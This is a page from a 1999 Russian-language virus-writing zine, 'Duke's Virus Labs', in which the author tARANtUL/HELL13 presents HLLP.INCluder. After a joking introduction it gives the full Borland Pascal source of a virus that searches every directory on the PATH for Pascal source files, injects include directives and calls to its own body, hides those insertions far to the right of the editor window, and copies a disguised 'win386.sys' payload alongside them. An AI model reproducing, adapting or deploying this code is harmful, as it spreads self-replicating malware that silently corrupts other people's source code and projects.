- [Duke's Virus Labs #5] - [Page 08] -

HLLP.INCluder
(c) by tARANtUL/Hell13

Имя вируса    : HLLP.INCluder
Автор         : tARANtUL/Hell13
Язык прогр.   : Borland Pascal 7.0
Дата создания : 28.02.99
Type          : HLLP, for Pascal sources
Size          : No size - No wise (c)

           Привет читателям DVL и его создателям!
           ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  Вот и я решил отметиться в DVL (почти все члены HELL13 уже это сделали).
 В DVL#4 был опубликован вирус HLLS.ZYX (c) by Duke/SMF, я вспомнил, что
 когда-то написал нечто подобное и решил его откопать.
      Разрыл...
  У меня от смеха слезы потекли. Это творение было настолько глупым, но
 работающим, что мне сразу захотелось его показать всем (не одному же
 смеяться).
  По ходу написания данного текста мне пришла в голову блестящая идея,
 предлагаю ее SMF : создать раздел в DVL с названием "Как не надо писать
 вирусы".
  Если это случиться, то INCluder обязан быть первым!

  Предостережение: эта тварь была написана после жуткого похмелья,
                   вероятно, именно поэтому, на нее стоит посмотреть =)


  Описание:
 1) вирус поражает и живет в Pascal исходниках
 2) распространяется путем добавления директивы {$I win386.sys},
    где в win386.sys содержится собственно тело вируса.
 3) файл win386.sys "копируется" в каталог заражаемого сорца
    (в кавычках, потому что это извращение, а не копирование)
 4) в конец заражаемой программы (перед END.) записывается вызов процедуры
    INCluder из win386.sys (название выбрано для отпугивания юзеров)
 5) также добавляеться подключение модуля DOS (зверским способом)
 6) все инородные вставки, добавляемые в тело программы записываются так,
    чтобы при просмотре в BP их не было видно (т.е. далеко справа)
    (кроме 'uses DOS')
 7) в конце win386.sys ~экран вниз~ расволожена визитная карточка вируса
 8) Знаю, что много багов! Чинить их не собираюсь!
 9) комментарии добавлял в соответствии с моим настроением, а оно было
    "лучше некуда"

 ЗЫ Надеюсь в следующих номерах DVL я буду более серьезен!
 ЗЗЫ Данная версия является пофиксенной! Я прислал ее Duke'у повторно.

 Дальше привожу откомментированный текст вируса.

INCLUDER.PAS - дроззофила
=================================== Кусь ===================================
uses Dos;
{I} {$I win386.sys}
BEGIN
 INCluder;
end.
================================ Хватит кусь ===============================


WIN386.SYS - тело вируса
=================================== Кусь ===================================
procedure INCluder;
const
    glb : byte = 1; { что-то глобальное }
var
 f1, f2, ft : text;
      D : Dirstr;
      N : Namestr;
      E : Extstr;
    Env : string;
    str : string;
TMPname : string;
      t : string;

function RandName : string; { я только что вспомнил, что у DOS есть
                              (кажется 15h) ф-ия для генерации
                              произвольного имени }
var
   num, i : byte;
     name : string;
begin
 Randomize;
 num:=Random(5)+1;
 name:='inc';        { имена создаются с первыми буквами 'inc' }
 for i:=1 to num do name:=name+chr(97+Random(26));
 name:=name+'.';
 num:=Random(4)+1;
 for i:=1 to num do name:=name+chr(97+Random(26));
 RandName:=name;
end;

procedure WriteInc; { что? какого черта? а просто так! }
var i : byte;
begin
 for i:=1 to 82 do write(ft,' ');
 writeln(ft,'{I} {$I win386.sys}'); (* зачем '{I}' ? *)
                                    (* Моя вещь - что хочу, то и делаю ;P~ *)
end;

procedure WriteRun; { опять? снова! }
var i : byte;
begin
 for i:=1 to 82 do write(ft,' ');
 writeln(ft,'INCluder;'#13#10'end.'); { а какже без вызова этого ?! }
end;

procedure COP; { а тут у меня крыша совсем поехала! }
               { я на это без смеха смотреть не могу ;))))) }
var ts, tt : text;
    c : char;
begin
 assign(ts,D+'win386.sys');
 assign(tt,t+'/win386.sys');
 reset(ts);
 rewrite(tt);
 while not EOF(ts) do
 begin
  read(ts,c);     { ОООооо! Держите меня семеро! }
  write(tt,c);
 end;
 close(ts);
 close(tt);
end;

procedure Make(s : string); { самая страшная и полная глюков процедура }
                            { я в своей жизни не видел ничего более    }
                            { уродливого !                             }
label Uge;
var c : char;
begin
 if (s=D+N+E) or (s=N+E) then exit; { мы ли это есть? }
 TMPname:=RandName; { что-то страшное ... }
 assign(f2,s);
 assign(ft,TMPname);
 reset(f2);
 rewrite(ft);
 readln(f2,str);
 if (Pos('program',str)<>0) or (Pos('Program',str)<>0)
    or (Pos('PROGRAM',str)<>0) then
    begin
     writeln(ft,str);
     readln(f2,str);
    end;

 if (Pos('uses',str)<>0) or (Pos('Uses',str)<>0)
    or (Pos('USES',str)<>0) then readln(f2,str);
 writeln(ft,'uses Dos;'); { свои модули пусть потом еще раз подключат }

 repeat
 if (Pos('{I}',str)=0) and (Pos('procedure',str)=0) and
    (Pos('Procedure',str)=0) and (Pos('PROCEDURE',str)=0)
    and (Pos('function',str)=0) and (Pos('FUNCTION',str)=0)
    and (Pos('Function',str)=0) and (Pos('begin',str)=0)
    and (Pos('Begin',str)=0) and (Pos('BEGIN',str)=0) then writeln(ft,str)
 else
 begin
 if Pos('{I}',str)<>0 then goto Uge;
 if str<>'' then
  begin
   if Pos('function',str)<>0 then
    begin
     write(ft,Copy(str,1,Pos('function',str)-1));
     WriteInc;
     writeln(ft,Copy(str,Pos('function',str),length(str)));
    end;
   if Pos('procedure',str)<>0 then
    begin
     write(ft,Copy(str,1,Pos('procedure',str)-1));
     WriteInc;
     writeln(ft,Copy(str,Pos('procedure',str),length(str)));
    end;
   if ((Pos('begin',str)<>0) or (Pos('Begin',str)<>0) or (Pos('BEGIN',str)<>0)) then
    begin
     write(ft,Copy(str,1,Pos('begin',str)-1));
     WriteInc;
     writeln(ft,Copy(str,Pos('begin',str),length(str)));
    end;
   break;
  end;
 end;
 if EOLn(f2) then begin readln(f2); writeln(ft); end;
 readln(f2,str);
 until (EOF(f2)) or (str='');
 readln(f2,str);
 while ((not EOF(f2)) and (Pos('end.',str)=0) and (Pos('End.',str)=0) and (Pos('END.',str)=0)) do
  begin
   writeln(ft,str);
   if EOLn(f2) then begin readln(f2); writeln(ft); end;
   readln(f2,str);
  end;
 WriteRun;
 close(ft);
 close(f2);
 erase(f2);
 rename(ft,s);
 COP;
 exit;
Uge:
 close(f2);
 close(ft);
 erase(ft);
end;

function GetP : string;
var
     i : byte;
   tmp : string;
begin
 i:=glb; tmp:='';
 while (i<=length(Env)) and (Env[i]<>';') do
 begin
  tmp:=tmp+Env[i];
  inc(i);
 end;
 glb:=i+1; { Вспомнил! Это индекс начала след. фолдера в Env }
 if tmp='' then GetP:='' else GetP:=tmp+'\';
end;

procedure Start; { основная процедура }
var
   found : SearchRec;
begin
 Env:=GetEnv('path'); { берем все, что есть, из PATH }
 repeat
  t:=GetP; { выделяем последовательно все каталоги }
  FindFirst(t+'*.PAS',$3F,found);
  while DosError=0 do
  begin
   Make(t+found.name); { 'делаем' с найденным все, что хотим }
   FindNext(found);
  end;
 until t=''; { кстати, текущий каталог тоже обследуем }
end;

begin
 FSplit(ParamStr(0),D,N,E);  { дробим нашего прородителя на части }
                             { Что же получилось?
                               D = 'folder\'
                               N = 'name'
                               E = '.EXE' }
 assign(f1,D+N+'.PAS');      { создаем для его сорца хэндл f1 }
 Start;
end;
























                                                                                                   {
                           Name: INCluder [fixed]
                           Type: HLLP, for Pascal sources
                           Date: 28.02.99
                         RealSz: No size - No wise (c)
                         CompSz: -
                         Author: tARANtUL
                          Group: HELL13
                           Info: Almost dead sources =)
                                                                                                   }
================================ Хватит кусь ===============================

  C уважением ···-=■[tARANtUL / HELL13]■=-··· @ 15.02.99